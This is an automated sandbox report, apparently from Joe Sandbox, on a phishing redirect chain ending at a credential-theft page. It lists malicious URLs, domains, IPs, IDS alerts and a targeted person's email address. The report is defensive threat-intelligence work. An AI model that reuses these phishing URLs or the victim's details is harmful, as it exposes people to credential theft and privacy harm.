Edit tour

Windows Analysis Report
https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=

Overview

General Information

Sample URL:	https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc2
Analysis ID:	1592133
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Detected suspicious crossdomain redirect

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=2000,i,7647119776037034423,16714937303777097229,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6504 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Suricata Signatures

ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:08:03.171366+0100	2057301	1	Successful Credential Theft Detected	172.67.196.214	443	192.168.2.4	49746	TCP
2025-01-15T20:08:06.585347+0100	2057301	1	Successful Credential Theft Detected	172.67.196.214	443	192.168.2.4	49747	TCP
2025-01-15T20:08:07.308106+0100	2057301	1	Successful Credential Theft Detected	104.21.92.176	443	192.168.2.4	49758	TCP

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1312868108:1736965789:YVAtk20DNbyi-74aByVU73m4ETU4US-JINnkaIqPxyU/90282705888e4357/RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3344sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Wed, 15 Jan 2025 19:08:02 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: Keep-AliveData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 9a 4c 40 9b 43 af 7c f6 3e 26 86 87 14 22 85 0d 25 10 a5 c3 64 67 1c b9 62 74 c6 2a 67 d4 ca 63 0e de 74 19 5c 87 5d fa d0 39 f5 88 1b ec 9f 42 24 87 1d 8f 9a 40 10 25 72 f2 1f 66 c9 bc 87 55 52 e3 91 f1 30 d5 c7 6c 86 a9 ca 28 4e a0 e4 32 29 9f 84 a2 9a 3d 07 8d 02 89 20 6c fe 04 4d 9c 68 3c 2a 9f d5 85 98 d1 ea ae bc 13 08 16 9d 59 d9 3a 74 fe ae d0 79 e4 54 8f 2b c5 c9 2c 0f 15 12 01 5a 03 46 83 17 d2 01 39 b3 46 7b 5e 4c 3b 02 98 92 8e e5 fe 7d 22 e9 be 68 9a 38 b4 67 59 ce 88 c9 3e fd de a1 8e 71 2e f5 32 0b a5 10 68 c2 a1 93 1f 05 b6 a8 98 97 6b cc 6b 85 cc 92 04 5e e4 4f 9e 1e f1 fa cc a3 24 4e 68 e6 75 fd a6 ef 42 cb 2b 63 39 da 3e 14 28 10 c8 3a c9 c1 2e 2b 76 19 8f fb 36 49 e6 57 14 b6 8d 9c 60 dc 6c 32 88 fb c0 78 08 9a cd e7 63 78 7a c5 93 eb 2b 3a 9e 0e 7d 5f 85 95 2d 6f 68 57 ae 76 54 1e 1b b4 24 64 b5 83 1f d2 e3 6d 87 34 f8 8d 15 dc f6 f2 91 f2 37 94 8d c3 a0 2f e3 6b e9 e8 b7 17 cc 9f 44 df 61 2d 34 b1 5f 4a 74 f0 5d d7 13 20 f5 83 25 0c 36 04 24 8c f3 a4 1c 59 d5 76 4c ef 80 69 3e 06 46 fe ac 6a ba 33 04 0b b1 fd bd 62 8d 02 43 7b 1e 2e 99 97 7e d2 86 93 e0 e6 c1 cc 70 94 c3 c1 ee 2f b4 ff 0d 2b 0f 61 e1 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hk

Source: chromecache_49.2.dr, chromecache_53.2.dr, chromecache_50.2.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_48.2.dr	String found in binary or memory: https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczov
Source: chromecache_49.2.dr, chromecache_50.2.dr	String found in binary or memory: https://sascl.com/?vtmmhzio
Source: chromecache_53.2.dr	String found in binary or memory: https://sascl.com/?vtmmhzio&qrc=alison.smith

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: classification engine

Classification label: mal56.win@24/18@24/10

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=2000,i,7647119776037034423,16714937303777097229,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=2000,i,7647119776037034423,16714937303777097229,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://sascl.com/?vtmmhzio&qrc=alison.smith@rbsint.com	0%	Avira URL Cloud	safe
https://sascl.com/?vtmmhzio&qrc=alison.smith	0%	Avira URL Cloud	safe
http://sasaol.com/favicon.ico	0%	Avira URL Cloud	safe
https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6ImtObFB2VzRaalRQMiIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk4LCJleHAiOjE3MzY5NjgyMTh9.GmpY5AtZNEdQFY4QmDSvxUWOcc0tv4PbO1GjW1I34c4	100%	Avira URL Cloud	malware
https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/favicon.ico	100%	Avira URL Cloud	malware
https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczov	100%	Avira URL Cloud	malware
https://havwthornscountryclub.com/?qrc=alison.smith%40rbsint.com	100%	Avira URL Cloud	malware
https://havwthornscountryclub.com/mail/?login_hint=alison.smith%40rbsint.com	100%	Avira URL Cloud	malware
https://sascl.com/?vtmmhzio	0%	Avira URL Cloud	safe
https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6InlOQUNyY2swN2FBNSIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk3LCJleHAiOjE3MzY5NjgyMTd9.23Kl47oZsQyMVfIf1_skE87GlqvNy9IDhKaSR7lwJYc	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sascl.com	147.45.179.114	true	false	unknown
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.250.184.196	true	false	high
www.google.com.tr	142.250.185.131	true	false	high
sasaol.com	15.156.40.19	true	false	unknown
c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	172.67.196.214	true	true	unknown
havwthornscountryclub.com	147.45.179.114	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://havwthornscountryclub.com/?qrc=alison.smith%40rbsint.com	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90282705888e4357&lang=auto	false		high
https://sascl.com/?vtmmhzio&qrc=alison.smith@rbsint.com	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/	false		high
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6ImtObFB2VzRaalRQMiIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk4LCJleHAiOjE3MzY5NjgyMTh9.GmpY5AtZNEdQFY4QmDSvxUWOcc0tv4PbO1GjW1I34c4	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1312868108:1736965789:YVAtk20DNbyi-74aByVU73m4ETU4US-JINnkaIqPxyU/90282705888e4357/RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ	false		high
http://sasaol.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/90282705888e4357/1736968087127/5245376278095e83ad0397698ebca09b21f6a8e96189857fdd9f3acbfb30a269/dDJTGAu8S3qhIhc	false		high
https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com	false		unknown
https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/favicon.ico	true	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6InlOQUNyY2swN2FBNSIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk3LCJleHAiOjE3MzY5NjgyMTd9.23Kl47oZsQyMVfIf1_skE87GlqvNy9IDhKaSR7lwJYc	false	Avira URL Cloud: malware	unknown
https://havwthornscountryclub.com/mail/?login_hint=alison.smith%40rbsint.com	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/90282705888e4357/1736968087128/Yc_l5egEkZbT5eF	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://sascl.com/?vtmmhzio&qrc=alison.smith	chromecache_53.2.dr	false	Avira URL Cloud: safe	unknown
https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczov	chromecache_48.2.dr	false	Avira URL Cloud: malware	unknown
https://sascl.com/?vtmmhzio	chromecache_49.2.dr, chromecache_50.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
147.45.179.114	sascl.com	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.92.176	unknown	United States	13335	CLOUDFLARENETUS	true
15.156.40.19	sasaol.com	United States	71	HP-INTERNET-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.131	www.google.com.tr	United States	15169	GOOGLEUS	false
172.67.196.214	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592133
Start date and time:	2025-01-15 20:06:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.win@24/18@24/10

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.35, 142.250.186.174, 142.250.110.84, 142.250.186.78, 142.250.181.238, 88.221.110.106, 2.23.77.188, 199.232.214.172, 216.58.206.46, 142.250.184.238, 142.250.184.206, 172.217.16.206, 2.23.242.162, 95.101.149.164, 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=

Input	Output
